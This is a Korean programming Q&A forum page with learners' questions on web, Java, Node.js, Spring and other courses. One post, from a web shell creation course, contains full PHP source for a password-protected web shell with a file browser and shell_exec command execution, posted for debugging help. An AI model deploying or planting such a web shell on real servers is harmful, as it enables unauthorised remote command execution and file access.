묻고 답해요
164만명의 커뮤니티!! 함께 토론해봐요.
인프런 TOP Writers
-
미해결모든 개발자를 위한 HTTP 웹 기본 지식
3xx 리다이렉션2 강의중 설명하신 post 중복 요청과 관련된 질문
=========================================[질문 템플릿]1. 강의 내용과 관련된 질문인가요? (예/아니오) 예2. 인프런의 질문 게시판과 자주 하는 질문에 없는 내용인가요? (예/아니오) 예3. 질문 잘하기 메뉴얼을 읽어보셨나요? (예/아니오) 예[질문 내용]여기에 질문 내용을 남겨주세요. 3xx 리다이렉션2 강의중 설명하신 post 중복 요청과 관련된 질문이 있습니다. 제가 일하고 있는 회사의 경우, 서버와의 데이터 교환을 AJAX 비동기 통신을 통해 하고, callback함수가 동작하는 형태를 많이 사용합니다. 데이터가 post를 통해 입력되면 callback함수를 통해 다시 데이터를 조회하거나 화면을 갱신하는데 이러한 경우에도 말씀하신 중복 요청 문제가 발생할수 있을까요? 이런 경우 어떻게하면 중복 요청 문제를 유발 시켜볼 수 있을까요? 질문이 좀 유치한거 같은데 죄송합니다 ㅎㅎ;
-
해결됨[리뉴얼] Node.js 교과서 - 기본부터 프로젝트 실습까지
디버깅 관련해서 질문드리고 싶습니다
강사님 안녕하세요 디버깅 관련해서 질문드리고 싶습니다 restserver.js 디버깅 실행 도중에 Hello를 입력하고 등록 버튼을 누르면 저는 restFront.html 에서 form 태그가 나왔다가 restfront.js 로 건너뛰어서 서버에 axios.get( ) 으로 요청을 보내서 restserver.js 로 다시 건너뛰어서 req.method 로 GET 요청 받는 디버깅을 생각하고 있었습니다 그러나 이렇게 소스코드 파일 사이에 건너뛰기가 안되고 restServer.js 에서만 디버깅이 되는 것 같았습니다 혹시 웹페이지에서 버튼을 눌러서 서버에 요청할 때는 restfront.js 소스코드로 갔다가, 요청을 받고 응답할 때는 restserver.js로 건너뛰는 디버깅 방법이 있는지 궁금해서 질문드리고 싶습니다 읽어주셔서 감사합니다
-
미해결이펙티브 자바 완벽 공략 1부
아이템6의 핵심정리와 완벽공략의 비디오 중복
안녕하세요. 이펙티브 자바의 강의를 잘 보고 있습니다. 아이템6의 핵심정리 강의와 완벽공략의 강의 비디오가 같습니다. 의도 한 것인지 혹시 누락된 것인지 문의드립니다.
-
해결됨Skill-Up! 배워서 바로 쓰는 웹쉘 제작
죄송합니다;; 또 에러가 나네요(해결해주세요.)
이번엔 그 7월 전꺼 리마스터 처럼 필요한 부분(파일 브라우저, 커맨드, 인증 기능)만 만들려고 해봤는데 갑자기 에러가 나네요. error.log도 봤는데 해결 못하겠어서요. 소스입니다;; <? session_start(); header("Content-Type: text/html; charset=UTF-8"); $mode = $_REQUEST["mode"]; $path = $_REQUEST["path"]; $page = basename($_SERVER["PHP_SELF"]); $inputPW = $_POST["inputPw"]; $accessPw = "jorkdhnghks6352"; ##!access password!## $accessFlag = $_SESSTION["accessFlag"]; if($accessFlag == "Y"); { if(empty($path)){ $tempFileName = basename(__FILE__); $tempPath = realpath(__FILE__); $path = str_replace($tempFileName, "", $tempPath); $path = str_replace("\\", "/", $path); } else { $path = realpath($path)."/"; $path = str_replace("\\", "/", $path); } # Dir list retuurn function function getDirList($getPath) { $listArr = array(); $handler = opendir($getPath); while($file = readdir($handler)) { if(is_dir($getPath.$file) == "1") { $listArr[] = $file; } } closedir($handler); return $listArr; } } #File List return function function getFileList($getPath) { $listArr = array(); $handler = opendir($getPath); while($file = readdir($handler)) { if(is_dir($getPath.$file) != "1") { $listArr[] = $file; } } closedir($handler); return $listArr; } if ($mode == "login" && ($accessPW == $inputPW)) { $_SESSION["accessFlag"] = "Y"; echo "<script>location.href= '{$page}'</script>"; exit(); } ?> <!DOCTYPE html> <html lang="ko"> <head> <title>SPACEPIG's Webshell</title> <!-- 합쳐지고 최소화된 최신 CSS --> <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.2/css/bootstrap.min.css"> <!-- 부가적인 테마 --> <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.2/css/bootstrap-theme.min.css"> <!-- 합쳐지고 최소화된 최신 자바스크립트 --> <script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.2/js/bootstrap.min.js"></script> </head> <body> <div class="container-fluid"> <div class="row"> <div class="col-md-3"></div> <div class="col-md-6"> <? if ($accessFlag != "Y") { ?> <h3>Login</h3> <hr> <form action="<?=$page?>?mode=login" method="POST"> <div cLass="input-group"> <span clLass="input-group-addon">Password</span> <input type="password" class="form-control" pLacehoLder="Password Input..." name="inputPw"> </div> <br> <p cLass="text-center"><button class="btn btn-default" type="submit">Auth</button></a> </form> <? } else { ?> <h3>Webshell ver.0.0.1.Beta <small>Created by Spacepig</small></h3> <hr> <ul class="nav nav-tabs"> <li role="presentation" <?if(empty($mode) || $mode == "fileBrowser") echo "class=\"active\"";?>><a href="<?=$page?>?mode=fileBrowser">File Browser</a></li> <li role="presentation" <?if($mode == "command") echo "class=\"active\"";?>><a href="<?=$page?>?mode=command">Command Execution</a></li> <li role="presentation" <?if($mode == "logout") echo "class=\"active\"";?>><a href="<?=$page?>?mode=logout">Logout</a></li> </ul> <br> <?if(empty($mode) || $mode == "fileBrowser") { ?> <form action="<?=$page?>?mode=fileBrowser" metho="GET"> <div class="input-group"> <span class="input-group-addon">Current Path</span> <input type="text" class="form-control" placeholder="Path Input..." name="path" value="<?=$path?>"> <span class="input-group-btn"> <button class="btn btn-default" type="submit">Move</button> </span> </div> </form> <hr> <div class="table-responsive"> <table class="table table-bordered table-hover" style="table-layout: fixed; word-break: break-all;"> <thead> <tr class="active"> <th style="width: 50%"class="text-center">Name</th> <th style="width: 20%" class="text-center">Type</th> <th style="width: 30%" class="text-center">Date</th> </tr> </thead> <tbody> <? $dirList = getDirList($path); for($i=0; $i<count($dirList); $i++) { if($dirList[$i] != ".") { $dirDate = date("Y-m-d H:i", filemtime($path.$dirList[$i])); ?> <tr> <td style="vertical-align : middle" class="text-primary"><b><span class="glyphicon glyphicon-folder-open" aria-hidden="true"></span> <a href="<?=$page?>?mode=fileBrowser&path=<?=$path?><?=$dirList[$i]?>"><?=$dirList[$i]?></a></td> <td style="vertical-align : middle" class="text-center"><kbd>Directory</kbd></td> <td style="vertical-align : middle" class="text-center"><?=$dirDate?></td> <td style="vertical-align : middle" class="text-center"> <? if($dirList[$i] != "..") { ?> <div class="btn-group btn-group-sm" role="group" aria-label="..."> </div> <? } ?> </td> </tr> <? } ?> <? } ?> <? $fileList = getFileList($path); for($i=0; $i<count($fileList); $i++) { $fileDate = date("Y-m-d H:i", filemtime($path.$fileList[$i])); ?> <tr> <td style="vertical-align : middle"><span class="glyphicon glyphicon-file" aria-hidden="true"></span> <?=$fileList[$i]?></td> <td style="vertical-align : middle" class="text-center"><kbd>File</kbd></td> <td style="vertical-align : middle" class="text-center"><?=$fileDate?></td> <td style="vertical-align : middle" class="text-center"> <div class="btn-group btn-group-sm" role="group" aria-label="..."> </div> </td> </tr> <? } ?> </tbody> </table> </div> <? } else if(empty($mode) || $mode == "command") { ?> <form action="<?=$page?>?mode=command" method="POST"> <div class="input-group"> <span cLass="input-group-addon">Command</span> <input type="text" cLass="-form-control" pLacehoLder="Command Input..." name="command" value="<?=$command?>"> <span cLass="input-group-btn"> </span> </div> <br> <div class="btn-group btn-center" role="group" aria-label="..."> <p class="text-center"><button cLass="btn btn-default" type="submit">Execution</button></a> </div> </form> <? if(!empty($_POST["command"])) { echo "<hr>"; $result = shell_exec($_POST["command"]); $result = str_replace("\n", "<br>", $result); $result = iconv("CP949", "UTF-8", $result); echo "𝙍𝙀𝙎𝙐𝙇𝙏", "<br>", $result; } ?> <? } ?> <? } ?> <hr> <p class="text-muted text-center">Copyright© 2022, Spacepig, All rights reserved.</p> </div> <div class="col-md-3"></div> </div> </div> </body> </html>
-
미해결Flutter 입문 - 안드로이드, iOS 개발을 한 번에 (with Firebase)
Lost connection to device
Lost connection to device 오류가 나옵니다. 1번 버튼을 누르고 디버깅 상태에서 2번이 타며, 그리고 나서 연결 기기 끊김이라는 메세지가 나오면서 팅기는 현상이 나타납니다. 원인을 도저히 찾을수가 없네요. 현재 flutter 버전은 2.10.2 최신버전이며, image_picker 버전은 0.8.5 최신버전으로 적용상태 입니다. image_picker: ^0.8.5
-
미해결웹게임을 만들며 배우는 인터렉티브웹! JAVASCRIPT
몬스터나 npc의 위치가 일정 크기를 넘어가면 히어로가 사라집니다.
몬스터든 npc든 생성 위치를 조금만 크게 잡아도 히어로가 이동하다 말고 사라집니다.(생성 위치를 600정도로 작게 잡으면 문제가 없습니다.) 수업을 들으며 똑같이 코딩했는데도 불구하고 이러한 현상이 나타나서 올려주신 complete 코드의 마지막 완성 코드를 실행해 봤는데도 마찬가지입니다. 아래 GIF 파일은 제공해주신 코드를 실행한 모습입니다.. 며칠째 이런 문제가 해결되지 않아 어떻게 해야될지 몰라 질문드립니다.
-
미해결Do it! 자바 프로그래밍 입문 with 은종쌤
outer클래스의 내부 static 클래스의 static메서드에서 변수사용불가?
outer클래스의 내부 static 클래스의 static메서드인 sTest()에서 왜 iNum변수 참조를 못하나요? iNum변수는 static 클래스의 멤버변수로 선언되었으니까 static클래스 객체가 생성이 안되어도 사용 가능한거 아닌가요? 클래스가 static으로 정의되어도 그 클래스의 인스턴스 변수들은 객체의 생성과 관계가 있나보네요?
-
미해결[신규 개정판] 이것이 진짜 크롤링이다 - 실전편 (인공지능 수익화)
이런 경우 ID 입력 하려고 id 입력 input 상자를 어떻게 클릭하나요?
F12 개발자 도구로 본 화면 입니다. ID/Password 입력하는 input 박스의 class 명이 동일합니다. 다만 name 이라는 이름으로 서로 다르긴 한데 이럴경우 selenium 에서ID/Pass 를 각각 클릭하려고 하는데 CSS선택자를 뭐로 해야 하는지요?
-
미해결이미지 관리 풀스택(feat. Node.js, React, MongoDB, AWS)
이 강의에서 가르치는 이미지 관리 방식을 뭐라고 하나요?
안녕하세요. 강의 잘 수강하였습니다. 이 강의에서 나온 것처럼 이미지를 w160, w600 raw등으로 분류하여 여러 이미지를 저장하고, 필요한 사이즈에 맞는 이미지를 보여주는 방식을 뭐라고 칭하는지 궁금합니다.
-
해결됨[리뉴얼] Node.js 교과서 - 기본부터 프로젝트 실습까지
cookie2.js 에서 한번에 2개의 쿠키를 보내는 방법에 대해 질문드립니다
강사님 안녕하세요 아래의 cookie2.js에서 32행, 33행의 초록색 박스로 표시한 부분을 봐주시면요 저는 Path=/` 에도 유효한 쿠키를 보내고 싶었고 Path=/Hello`, 에도 유효한 쿠키를 보내고 싶었습니다 그래서 쿠키를 res.writeHead(302, { Location: '/', 'Set-Cookie': `name=${encodeURIComponent(name2)}; Expires=${expires.toGMTString()}; HttpOnly; Path=/`, 'Set-Cookie': `name=${encodeURIComponent(name2)}; Expires=${expires.toGMTString()}; HttpOnly; Path=/Hello`, }); 이렇게 2개를 적었습니다 문제는 아래의 사진처럼 아무리 로그인을 시도해도 쿠키가 생기지 않았습니다 혹시 그 이유를 가르쳐주시면 감사하겠습니다
-
미해결블렌더 왕초보 입문 기초강의
화면에서 screencast keys 항목이 없어요!
안녕하세요. 강의 잘 듣고 있습니다 강의중에 screencast keys 항목을 설정하셨는데 저는 항목/ 도구 / 뷰 만 있고 screencast keys라는 항목이 없습니다. 스페이스바로 검색을 해봐도 해당 기능이 없는데 혹시 설정하는 방법이 있을까요?
-
미해결언리얼 엔진4 입문 (C++ 기반)
MyAnimInstance에 Speed의 property를 BlueprintReadOnly로 했는데 블루프린트에서 수정이 되나요?
MyAnimInstance에 Speed의 property를 BlueprintReadOnly로 했는데 수업 영상에서 볼 수 있듯이, 블루 프린트 화면?에서 애님 프리뷰 에디션에서 Speed를 수정할 수 있는데 BlueprintReadOnly에서 읽기만 가능하고 쓰기는 불가능하다는 의미가 아닌가요?
-
미해결부트스트랩 5(Bootstrap 5) - 기초부터 웹 프로젝트 만들기
1-3-4강의 영상 3-4분 사이가 이상합니다, 입력하지 않은 코드가 갑자기 나와요 ㅡㅡ
1-3-4강의 영상 3~4분 사이가 이상합니다, 입력하지 않은 코드가 갑자기 나와요 ㅡㅡ 영상편집이 좀 이상합니다. 84번라인이 갑자기 변경됨
-
미해결딥러닝 CNN 완벽 가이드 - TFKeras 버전
선생님 크기 개념이 헷갈립니다
- 학습 관련 질문을 남겨주세요. 상세히 작성하면 더 좋아요! - 먼저 유사한 질문이 있었는지 검색해보세요. - 서로 예의를 지키며 존중하는 문화를 만들어가요. - 잠깐! 인프런 서비스 운영 관련 문의는 1:1 문의하기를 이용해주세요. 정리하자면, Kernel Size는 필터의 크기이고, Receptive Field는 이 필터가 한 번에 보게되는 이미지의 크기라고 봐도 될까요? 말하고보니 둘이 같은 것 같기도 하고 ... 괜히 헷갈리네욥 ..
-
미해결Slack 클론 코딩[실시간 채팅 with React]
Cannot find name 'SuggestionDataItem'.
SuggestionDataItem을 찾을 수 없다 나오는 데요 어디가 문제일까요? https://github.com/todayscoding/chatting_app/commit/be8f87bad5a5fb581f1dc76b817407ae50d9ce0c
-
미해결플렉스(Flex) 반응형 웹사이트 포트폴리오(The World's Best Cities)
반응형 헤더 네비게이션 공부중인데요. 궁금한것이 있어서요.
이미지로 올려 드릴께요^^
-
미해결Vue.js 시작하기 - Age of Vue.js
vuex와 route에 대해…
안녕하세요. vuex가 새로고침을 하면 state가 날아가버리기 때문에 action이나 mutation을 컴포넌트의 created훅에 넣어서 쓰고 있습니다. 이렇게 하면 해당 컴포넌트에는 문제 없이 state가 유지되는데, getters를 불러들인 뒤 해당 컴포넌트의 하위 컴포넌트에 props데이터로 넘겨주면, vue개발자 도구로 보기에는 분명히 값이 존재하는데 하위 컴포넌트에서는 값이 존재하지 않게 됩니다. console.log를 작동시켜 보면 빈 값이 나오네요. 하위 컴포넌트가 라우팅에 따라서 다르게 보여져야 할 부분이라 <router-view :gettersData="gettersData"/> 이런 식으로 넣었는데 혹시 router-view 태그는 props를 받지 못하는 건지 궁금합니다. 만약 문제 없이 받을 수 있다면, 혹시 router-view가 중첩되서 발생하는 문제가 아닐까 싶네요. 지금 컴포넌트 구조가... //parent comp<router-view/> //child comp <div></div> //repetitive comp<router-view :gettersData="gettersData"/> 이런 모양새라서 혹시 router-view 태그가 중첩 되면 안되는 건가 싶기도 하고 그렇네요. 질문을 요약해보자면, 1. Getters를 하위 컴포넌트의 props로 넘겨도 되는지? 2. Router-view 태그로도 props를 보낼 수 있는지? 3. router-view 태그를 부모와 자식 태그에서 중첩해서 사용해도 되는지? 정도가 될 것 같습니다. 감사합니다!
-
미해결스프링 시큐리티
AuthenticationException은 어떤 경우에 발생하는지
AccessDeniedException은 예시를 보여주셔서 예외가 발생하는 경우를 알겠는데 AuthenticationException은 어떤 경우에 발생하는지 잘 모르겠습니다 ㅜㅜ
-
미해결Slack 클론 코딩[실시간 채팅 with React]
로그인 후, navigate()로 채널로 이동시 페이지 에러 관련
에러의 연속이네요..ㅠㅠ 회원가입, 로그인은 전부 잘 되는데 로그인 후에 아래 코드대로라면 채널페이지가 나와야 하는데 if (data) { navigate('/workspace/channel'); return null; } 저 주소로 넘어가긴 하는데 넘어가서 아래 사진처럼 에러가 계속 뜹니다.. 참고로 위 사진처럼 에러 뜨기 전에는 you cannot render a <router> inside another <router>. you should never have more than one in your app. 이런 에러메세지가 나왔는데, 이건 라우터가 중복이라서 나오는거라고 해서 (그렇지만 저는 다른 파일에서도 'Routes'와 'Route'만 썼지, 'BrowserRouter'를 쓰진 않았는데.. 라우터 중복이라는 에러가 왜 나왔는지 모르겠네요) app.tsx파일에서 {BrowserRouter as Router} 를 지우니까 이 메세지는 안나오고 현재는 위 사진과 같이 메세지가 나옵니다.
-
미해결스프링 핵심 원리 - 기본편
request scope bean의 생성을 지연한다는 의미가 무엇일까요?
[질문 템플릿]1. 강의 내용과 관련된 질문인가요? 예2. 인프런의 질문 게시판과 자주 하는 질문에 없는 내용인가요? 예3. 질문 잘하기 메뉴얼을 읽어보셨나요? 예[질문 내용]안녕하세요 공부 중 궁금한 게 있어서 질문드립니다. 1. ObjectProvider.getObject()를 호출하는 시점까지 request scope bean의 생성을 지연한다고 설명해주셨는데요. provider를 사용하지 않는다면 스프링 어플리케이션을 실행하는 시점에 싱글톤 빈은 생성해서 주입이 가능하지만, request scope bean은 실제 고객 요청이 오지 않아 생성되지 않는 문제가 생기잖아요? 그런데 제가 조금 헷갈린 건 실제 고객 요청이 오기 전이라 request scope bean이 생성되지 않는데 왜 윗 문단처럼 request scope bean의 생성을 지연한다고 말씀하신걸까요?ㅠㅠ 궁금한 점은 고객이 요청하기 전에는 scope빈이 생성되지 않는데 그걸 왜 http 요청이 오기전까지 지연을 시키는 지 입니다... 감사합니다.